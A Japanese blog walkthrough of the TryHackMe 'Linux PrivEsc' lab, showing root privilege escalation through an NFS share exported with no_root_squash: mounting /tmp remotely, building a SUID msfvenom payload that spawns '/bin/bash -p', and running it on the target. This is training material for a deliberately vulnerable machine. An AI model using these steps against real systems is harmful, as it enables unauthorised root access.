今回は、「NFSマウントのno_root_squashを悪用した権限昇格」をやってみます。
ターゲットマシンは、TryHackMeの下記のRoomを利用します。
「TryHackMe-Linux PrivEsc:https://tryhackme.com/room/linuxprivesc」

こちらの記事は、Part9になります。
TryHackMeでLinux PrivEscのWriteupを確認したい方は、「historyファイルやconfigファイル、重要ファイルのバックアップを悪用した権限昇格」も確認してください。





事前準備
まずは、「Start Machine」でターゲットマシンを起動しておきましょう。

IP Adressが表示されていればOKです。

今回は、権限昇格なので、sshで接続できるところまで確認しておきます。
TryHackMeにある通り「user/password321」で接続しましょう。
┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv]
└─$ ssh user@10.10.175.49 130 ⨯
user@10.10.175.49's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 15 06:41:23 2020 from 192.168.1.125
NFS
NFS経由で作成されたファイルは、リモートユーザのIDを継承することになります。
ユーザがrootであり、rootスカッシュが有効(no_root_squash指定なし)になっていた場合、IDは変わりに「nobody」に設定されます。
逆に、rootスカッシュが無効(no_root_squash指定あり)になっていた場合、rootと同じレベルのアクセス権限を持つことに注意してください。
Debian VMのNFS共有構成を確認してみます。
user@debian:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
#/tmp *(rw,sync,insecure,no_subtree_check)
「/tmp」では、no_root_squashが指定されていることに気が付きましたか?
次は、「/tmp」のno_root_squashを悪用して、権限昇格をしていきます。
まずは、攻撃マシンをrootにしておきましょう。(ターゲットマシン上でも/tmp上ではrootと同じ権限になります。)
┌──(hacklab㉿hacklab)-[~]
└─$ sudo su
┌──(root💀hacklab)-[/home/hacklab]
└─#
次に攻撃マシンにマウントポイントを作成し、/tmpをマウントします。
┌──(root💀hacklab)-[/home/hacklab]
└─# mkdir /tmp/nfs
┌──(root💀hacklab)-[/home/hacklab]
└─# mount -o rw,vers=3 10.10.175.49:/tmp /tmp/nfs
次に、msfvenomを利用して/bin/bashをcallするpayloadを生成します。
生成したpayloadは、/tmp/nfsに保存します。
┌──(root💀hacklab)-[/home/hacklab]
└─# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of elf file: 132 bytes
Saved as: /tmp/nfs/shell.elf
SUID権限を付与して、ターゲットユーザが実行したら所有者権限で実行されるようにしておきます。(攻撃マシンのrootは、ターゲットマシンのrootとしてみなされ、SUID権限を付与することで、ターゲットマシンの別ユーザもroot権限で実行できる仕組み)
┌──(root💀hacklab)-[/home/hacklab]
└─# chmod +xs /tmp/nfs/shell.elf
ここまでできたら、ターゲットマシンに戻って、先ほど保存したshell.elfを実行します。
user@debian:~$ /tmp/shell.elf
bash-4.1# whoami
root
無事、root権限を取得できました。

まとめ
今回は、「NFSマウントのno_root_squashを悪用した権限昇格」をやってみました。
最後は、SUID権限での実行というところが絡んできたのに気づきましたでしょうか?
もし、SUID権限って何?と思われた方は、ぜひ「SUID/SGID実行可能ファイルを利用した権限昇格」も参考にしてみてください!

参考文献・サイト
ー